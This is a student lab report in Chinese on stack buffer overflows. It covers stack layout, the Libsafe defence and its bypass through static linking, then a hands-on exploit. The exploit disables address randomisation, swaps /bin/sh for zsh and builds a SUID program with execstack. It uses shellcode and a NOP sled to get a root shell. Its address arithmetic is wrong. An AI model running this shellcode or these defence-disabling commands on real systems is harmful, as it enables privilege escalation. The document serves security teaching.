首页 > 代码库 > Buffer lab——20145326蔡馨熠
Buffer lab——20145326蔡馨熠
Buffer lab
缓冲区溢出攻击的原理
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。
Linux下进程地址空间的布局及堆栈帧的结构
要想了解Linux下缓冲区溢出攻击的原理,我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。 任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。如图所示为Linux下进程的地址空间布局:
首先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外,execve(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程序运行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈向下伸展,堆向上伸展。 实际上堆栈中存放的就是与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。 堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针,最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针,其中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移。
Linux下防御缓冲区溢出攻击的对策
了解了缓冲区溢出攻击的原理,接下来要做的显然就是要找出克敌之道。这里,我们主要介绍一种非常简单但是又比较流行的方法――Libsafe。
在标准C库中存在着很多像strcpy(3)这种用于处理字符串的函数,它们将一个字符串拷贝到另一个字符串中。对于何时停止拷贝,这些函数通常只有一个判断标准,即是否遇上了‘\0‘字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出攻击实例正是利用strcpy(3)对系统实施了攻击,而strcpy(3)的缺陷就在于在拷贝字符串时没有将目的字符串的大小这一因素考虑进来。像这样的函数还有很多,比如strcat、gets、scanf、sprintf等等。统计数据表明,在已经发现的缓冲区溢出攻击案例中,肇事者多是这些函数。正是基于上述事实,Avaya实验室推出了Libsafe。
在现在的Linux系统中,程序链接时所使用的大多都是动态链接库。动态链接库本身就具有很多优点,比如在库升级之后,系统中原有的程序既不需要重新编译也不需要重新链接就可以使用升级后的动态链接库继续运行。除此之外,Linux还为动态链接库的使用提供了很多灵活的手段,而预载(preload)机制就是其中之一。在Linux下,预载机制是通过环境变量LDPRELOAD的设置提供的。简单来说,如果系统中有多个不同的动态链接库都实现了同一个函数,那么在链接时优先使用环境变量LDPRELOAD中设置的动态链接库。这样一来,我们就可以利用Linux提供的预载机制将上面提到的那些存在安全隐患的函数替换掉,而Libsafe正是基于这一思想实现的。 图20所示的testlibsafe.c是一段非常简单的程序,字符串buf2[16]中首先被写满了‘A‘,然后再通过strcpy(3)将其拷贝到buf1[8]中。
#include <string.h> void main() { charbuf1[8]; charbuf2[16]; int i; for (i = 0; i < 16; ++i) buf2[i] = ‘A‘; strcpy(buf1, buf2); }
由于buf2[16]比buf1[8]要大,显然会发生缓冲区溢出,而且很容易想到,由于‘A‘的二进制表示为0x41,所以main函数的返回地址被改为了0x41414141。这样当main返回时就会发生Segmentation fault。
$ gcc testlibsafe.c -o testlibsafe > $ ./testlibsafe Segmentation fault (core dumped)
下面我们就来看一看Libsafe是如何保护我们免遭缓冲区溢出攻击的。首先,在系统中安装Libsafe。
$ su Password: # rpm -ivh libsafe-2.0-2.i386.rpm libsafe ################################################## # exit
$ export LD_PRELOAD=/lib/libsafe.so.2
下面就可以来试试看了。
$ ./testlibsafe Detected an attempt to write across stack boundary. Terminating /home2/wy/projects/overflow/bof/testlibsafe. uid=1011 euid=1011 pid=9481 Call stack: 0x40017721 0x4001780a 0x8048328 0x400429c6 Overflow caused by strcpy()
那么,有了Libsafe我们就可以高枕无忧了吗?千万不要有这种天真的想法,在计算机安全领域入侵与反入侵的较量永远都不会停止。其实Libsafe为我们提供的保护可以被轻易的破坏掉。由于Libsafe的实现依赖于Linux系统为动态链接库所提供的预载机制,因此对于使用静态链接库的具有缓冲区溢出漏洞的程序Libsafe也就无能为力了。
$ gcc -static testlibsafe.c -o testlibsafe_static > $ env | grep LD LD_PRELOAD=/lib/libsafe.so.2 $ ./testlibsafe_static Segmentation fault (core dumped)
如果在使用gcc编译时加上-static选项,那么链接时使用的便是静态链接库。在系统已经安装了Libsafe的情况下,可以看到testlibsafe_static再次产生了Segmentation fault。
模拟实践过程
我们用的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。
1、输入相关命令安装一些用于编译32位C程序的东西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入32位linux环境,输入/bin/bash使用bash
到此配置32位环境结束。
3.Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:
sudo su cd /bin rm sh ln -s zsh sh exit
4.漏洞程序
把以下代码保存为“stack.c”文件,代码如下:
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令如下:
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector
关闭这种机制。 而 -z execstack
用于允许执行栈。
5.攻击程序
缓冲区溢出的危险就是指:别人可以攻击刚才的漏洞程序,并通过攻击获得root权限。这后果可是很严重的!
把以下代码保存为“exploit.c”文件。代码如下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的代码,\x??\x??\x??\x??
处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode)
; 这一句又告诉我们,shellcode
保存在buffer+100
的位置。
现在我们要得到shellcode在内存中的地址,输入命令:
gdb stack
disass main
根据语句strcpy(buffer+100,shellcode; 我们计算shellcode的地址为0xffffd020(十六进制)+100(十进制)=0xffffce84(十六进制)
现在修改exploit.c文件!将
\x??\x??\x??\x??
修改为:
\x84\xce\xff\xff
然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
先运行攻击程序exploit.c,再运行漏洞程序stack.c,通过攻击,获得了root权限! 不过重启虚拟机后,就发现虚拟机爆炸了!很尴尬~而且还没有备份! 气死我了!
心得随感:
缓冲区溢出漏洞这块的知识掌握好了,才有资格说自己是信息安全系的学生。当然我还差得远!还需继续努力!缓冲区溢出漏洞是一个困扰了安全专家30多年的难题。简单来说,它是由于编程机制而导致的、在软件中出现的内存错误。这样的内存错误使得黑客可以运行一段恶意代码来破坏系统正常地运行,甚至获得整个系统的控制权。
利用缓冲区溢出改写相关内存的内容及函数的返回地址,从而改变代码的执行流程,仅能在一定权限范围内有效。因为进程的运行与当前用户的登录权限和身份有关,仅仅能够制造缓冲区溢出是无法突破系统对当前用户的权限设置的。因此尽管可以利用缓冲区溢出使某一程序去执行其它被指定的代码,但被执行的代码只具有特定的权限,还是无法完成超越权限的任务。
但是,Linux(包括Unix)系统本身的一些特性却可以被利用来冲破这种权限的局限性,使得能够利用缓冲区溢出获得更高的、甚至是完全的权限。主要体现在如下两方面:
-
Linux(包括Unix)系统通过设置某可执行文件的属性为SUID或SGID,允许其它用户以该可执行文件拥有者的用户ID或用户组ID来执行它。如果该可执行文件的属性是root,同时文件属性被设置为SUID,则该可执行文件就存在可利用的缓冲区溢出漏洞,可以利用它以root的身份执行特定的、被另外安排的代码。既然能够使得一个具有root权限的代码得以执行,就能够产生一个具有超级用户root权限的Shell,那么掌握整个系统的控制权的危险就产生了。
-
Linux(包括Unix)中的许多守护进程都是以root权限运行。如果这些程序存在可利用的缓冲区溢出,即可直接使它以root身份去执行另外安排的代码,而无须修改该程序的SUID或SGID属性。这样获得系统的控制权将更加容易。
随着现代网络技术的发展和网络应用的深入,计算机网络所提供的远程登录机制、远程调用及执行机制是必须的。这使得一个匿名的Internet用户有机会利用缓冲区溢出漏洞来获得某个系统的部分或全部控制权。实际上,以缓冲区溢出漏洞为攻击手段的攻击占了远程网络攻击中的绝大多数,这给Linux系统带来了极其严重的安全威胁!必须引起重视!
Buffer lab——20145326蔡馨熠